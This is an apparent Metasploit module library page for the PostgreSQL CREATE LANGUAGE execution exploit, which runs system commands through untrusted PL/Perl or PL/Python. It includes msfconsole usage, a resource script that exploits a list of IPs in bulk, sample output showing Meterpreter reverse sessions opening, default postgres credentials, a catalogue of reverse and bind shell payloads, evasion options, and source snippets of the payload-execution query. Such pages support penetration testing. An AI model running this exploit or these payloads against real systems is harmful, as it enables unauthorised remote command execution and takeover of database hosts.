PostgreSQL CREATE LANGUAGE Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/postgres/postgres_createlang metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PostgreSQL CREATE LANGUAGE Execution
Module: exploit/multi/postgres/postgres_createlang
Source code: modules/exploits/multi/postgres/postgres_createlang.rb
Disclosure date: 2016-01-01
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: postgres
Target network port(s): 5432
List of CVEs: -
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages. Most commonly this is Perl and Python. When enabled, command execution is possible on the host. To execute system commands, loading the "untrusted" version of the language is necessary. This requires a superuser. This is usually postgres. The execution should be platform-agnostic, and has been tested on OS X, Windows, and Linux. This module attempts to load Perl or Python to execute system commands. As this dynamically loads a scripting language to execute commands, it is not necessary to drop a file on the filesystem. Only Postgres 8 and up are supported.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using postgres_createlang against a single host
Normally, you can use exploit/multi/postgres/postgres_createlang this way:
msf > use exploit/multi/postgres/postgres_createlang
msf exploit(postgres_createlang) > show targets
... a list of targets ...
msf exploit(postgres_createlang) > set TARGET target-id
msf exploit(postgres_createlang) > show options
... show and set options ...
msf exploit(postgres_createlang) > exploit
Using postgres_createlang against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your postgres_createlang will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/postgres/postgres_createlang")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the multi/postgres/postgres_createlang exploit module looks in the msfconsole:
msf6 > use exploit/multi/postgres/postgres_createlang
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/postgres/postgres_createlang) > show info
Name: PostgreSQL CREATE LANGUAGE Execution
Module: exploit/multi/postgres/postgres_createlang
Platform: Linux, Unix, Windows, OSX
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2016-01-01
Provided by:
Micheal Cottingham
midnitesnake
Nixawk
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port (TCP)
USERNAME postgres yes The username to authenticate as
Payload information:
Description:
Some installations of Postgres 8 and 9 are configured to allow
loading external scripting languages. Most commonly this is Perl and
Python. When enabled, command execution is possible on the host. To
execute system commands, loading the "untrusted" version of the
language is necessary. This requires a superuser. This is usually
postgres. The execution should be platform-agnostic, and has been
tested on OS X, Windows, and Linux. This module attempts to load
Perl or Python to execute system commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to
drop a file on the filesystem. Only Postgres 8 and up are supported.
References:
http://www.postgresql.org/docs/current/static/sql-createlanguage.html
http://www.postgresql.org/docs/current/static/plperl.html
http://www.postgresql.org/docs/current/static/plpython.html
Module Options
This is a complete list of options available in the multi/postgres/postgres_createlang exploit:
msf6 exploit(multi/postgres/postgres_createlang) > show options
Module options (exploit/multi/postgres/postgres_createlang):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port (TCP)
USERNAME postgres yes The username to authenticate as
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/postgres/postgres_createlang exploit:
msf6 exploit(multi/postgres/postgres_createlang) > show advanced
Module advanced options (exploit/multi/postgres/postgres_createlang):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/postgres/postgres_createlang module can exploit:
msf6 exploit(multi/postgres/postgres_createlang) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/postgres/postgres_createlang exploit:
msf6 exploit(multi/postgres/postgres_createlang) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/cmd/windows/adduser normal No Windows Execute net user /ADD CMD
47 payload/cmd/windows/bind_lua normal No Windows Command Shell, Bind TCP (via Lua)
48 payload/cmd/windows/bind_perl normal No Windows Command Shell, Bind TCP (via Perl)
49 payload/cmd/windows/bind_perl_ipv6 normal No Windows Command Shell, Bind TCP (via perl) IPv6
50 payload/cmd/windows/bind_ruby normal No Windows Command Shell, Bind TCP (via Ruby)
51 payload/cmd/windows/download_eval_vbs normal No Windows Executable Download and Evaluate VBS
52 payload/cmd/windows/download_exec_vbs normal No Windows Executable Download and Execute (via .vbs)
53 payload/cmd/windows/generic normal No Windows Command, Generic Command Execution
54 payload/cmd/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
55 payload/cmd/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
56 payload/cmd/windows/reverse_lua normal No Windows Command Shell, Reverse TCP (via Lua)
57 payload/cmd/windows/reverse_perl normal No Windows Command, Double Reverse TCP Connection (via Perl)
58 payload/cmd/windows/reverse_powershell normal No Windows Command Shell, Reverse TCP (via Powershell)
59 payload/cmd/windows/reverse_ruby normal No Windows Command Shell, Reverse TCP (via Ruby)
60 payload/generic/custom normal No Custom Payload
61 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
62 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/postgres/postgres_createlang exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/postgres/postgres_createlang) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PEER> - Authentication failed
- <PEER> - Connection failed
- <PEER> - <LANGUAGE> could not be loaded
- <PEER> - error occurred loading <LANGUAGE>
- <PEER> - Connection error
- <PEER> - Unable to execute query: <QUERY>
- <PEER> - Unknown
- <PEER> - Connection error
- <PEER> Exploit failed
- <PEER> - Unknown
- pl<LANGUAGE>u
- <PEER> - Login failed
- Please clear extension [<LANGUAGE>]: function [<FUNC_NAME>] manually
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Authentication failed
Here is a relevant code snippet related to the "<PEER> - Authentication failed" error message:
78:
79: def login_success?
80: status = do_login(username, password, database)
81: case status
82: when :noauth
83: print_error "#{peer} - Authentication failed"
84: return false
85: when :noconn
86: print_error "#{peer} - Connection failed"
87: return false
88: else
<PEER> - Connection failed
Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:
81: case status
82: when :noauth
83: print_error "#{peer} - Authentication failed"
84: return false
85: when :noconn
86: print_error "#{peer} - Connection failed"
87: return false
88: else
89: print_status "#{peer} - #{status}"
90: return true
91: end
<PEER> - <LANGUAGE> could not be loaded
Here is a relevant code snippet related to the "<PEER> - <LANGUAGE> could not be loaded" error message:
98: return true
99: when :loaded
100: print_good "#{peer} - #{language} was successfully loaded, continuing"
101: return true
102: when :not_exists
103: print_status "#{peer} - #{language} could not be loaded"
104: return false
105: else
106: vprint_error "#{peer} - error occurred loading #{language}"
107: return false
108: end
<PEER> - error occurred loading <LANGUAGE>
Here is a relevant code snippet related to the "<PEER> - error occurred loading <LANGUAGE>" error message:
101: return true
102: when :not_exists
103: print_status "#{peer} - #{language} could not be loaded"
104: return false
105: else
106: vprint_error "#{peer} - error occurred loading #{language}"
107: return false
108: end
109: end
110:
111: def exec_function?(func_name)
<PEER> - Connection error
Here is a relevant code snippet related to the "<PEER> - Connection error" error message:
112: query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
113: select_query = postgres_query(query)
114:
115: case select_query.keys[0]
116: when :conn_error
117: print_error "#{peer} - Connection error"
118: return false
119: when :sql_error
120: print_warning "#{peer} - Unable to execute query: #{query}"
121: return false
122: when :complete
<PEER> - Unable to execute query: <QUERY>
Here is a relevant code snippet related to the "<PEER> - Unable to execute query: <QUERY>" error message:
115: case select_query.keys[0]
116: when :conn_error
117: print_error "#{peer} - Connection error"
118: return false
119: when :sql_error
120: print_warning "#{peer} - Unable to execute query: #{query}"
121: return false
122: when :complete
123: print_good "#{peer} - Exploit successful"
124: return true
125: else
<PEER> - Unknown
Here is a relevant code snippet related to the "<PEER> - Unknown" error message:
121: return false
122: when :complete
123: print_good "#{peer} - Exploit successful"
124: return true
125: else
126: print_error "#{peer} - Unknown"
127: return false
128: end
129: end
130:
131: def create_function?(language, func_name)
<PEER> - Connection error
Here is a relevant code snippet related to the "<PEER> - Connection error" error message:
144: load_func = postgres_query(query)
145: end
146:
147: case load_func.keys[0]
148: when :conn_error
149: print_error "#{peer} - Connection error"
150: return false
151: when :sql_error
152: print_error "#{peer} Exploit failed"
153: return false
154: when :complete
<PEER> Exploit failed
Here is a relevant code snippet related to the "<PEER> Exploit failed" error message:
147: case load_func.keys[0]
148: when :conn_error
149: print_error "#{peer} - Connection error"
150: return false
151: when :sql_error
152: print_error "#{peer} Exploit failed"
153: return false
154: when :complete
155: print_good "#{peer} - Loaded UDF (exec_#{func_name})"
156: return true
157: else
<PEER> - Unknown
Here is a relevant code snippet related to the "<PEER> - Unknown" error message:
153: return false
154: when :complete
155: print_good "#{peer} - Loaded UDF (exec_#{func_name})"
156: return true
157: else
158: print_error "#{peer} - Unknown"
159: return false
160: end
161: end
162:
163: def load_procedural_language(language, extension)
pl<LANGUAGE>u
Here is a relevant code snippet related to the "pl<LANGUAGE>u" error message:
163: def load_procedural_language(language, extension)
164: query = "CREATE #{extension} pl#{language}u"
165: load_language = postgres_query(query)
166: return :loaded unless load_language.keys[0] == :sql_error
167:
168: match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
169: return :exists if match_exists
170:
171: match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
172: return :not_exists if match_error
173: end
<PEER> - Login failed
Here is a relevant code snippet related to the "<PEER> - Login failed" error message:
180: username: user,
181: password: password
182: )
183:
184: return result[:auth] if result[:auth]
185: print_error "#{peer} - Login failed"
186: return :noauth
187:
188: rescue Rex::ConnectionError
189: return :noconn
190: end
Please clear extension [<LANGUAGE>]: function [<FUNC_NAME>] manually
Here is a relevant code snippet related to the "Please clear extension [<LANGUAGE>]: function [<FUNC_NAME>] manually" error message:
198: languages.each do |language|
199: next unless load_extension?(language)
200: func_name = Rex::Text.rand_text_alpha(10)
201: next unless create_function?(language, func_name)
202: if exec_function?(func_name)
203: print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
204: break
205: end
206: end
207: postgres_logout if @postgres_conn
208: end
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11636 Merged Pull Request: PostgreSQL CREATE LANGUAGE Execution - Fix version detection
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7289 Merged Pull Request: Fix typo.
- #6765 Merged Pull Request: Fix #6764, nil SQL error in lib/msf/core/exploit/postgres
- #6417 Merged Pull Request: Add Postgres createlang - Code execution with dynamic languages
References
- CVE: Not available
- http://www.postgresql.org/docs/current/static/sql-createlanguage.html
- http://www.postgresql.org/docs/current/static/plperl.html
- http://www.postgresql.org/docs/current/static/plpython.html
See Also
Check also the following modules related to this module:
- auxiliary/admin/postgres/postgres_readfile
- auxiliary/admin/postgres/postgres_sql
- auxiliary/scanner/postgres/postgres_dbname_flag_injection
- auxiliary/scanner/postgres/postgres_hashdump
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/postgres/postgres_schemadump
- auxiliary/scanner/postgres/postgres_version
- auxiliary/server/capture/postgresql
- exploit/linux/postgres/postgres_payload
- exploit/multi/postgres/postgres_copy_from_program_cmd_exec
- exploit/windows/postgres/postgres_payload
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- auxiliary/scanner/http/copy_of_file
- exploit/linux/local/rds_rds_page_copy_user_priv_esc
- exploit/unix/ftp/proftpd_modcopy_exec
- exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array
- exploit/windows/http/hp_loadrunner_copyfiletoserver
- exploit/windows/local/ms15_051_client_copy_image
- exploit/windows/scada/yokogawa_bkbcopyd_bof
- exploit/multi/http/shopware_createinstancefromnamedarguments_rce
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/windows/iis/iis_webdav_scstoragepathfromurl
- post/windows/gather/file_from_raw_ntfs
- exploit/multi/http/jenkins_metaprogramming
- exploit/windows/browser/zenturiprogramchecker_unsafe
Authors
- Micheal Cottingham
- midnitesnake
- Nixawk
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.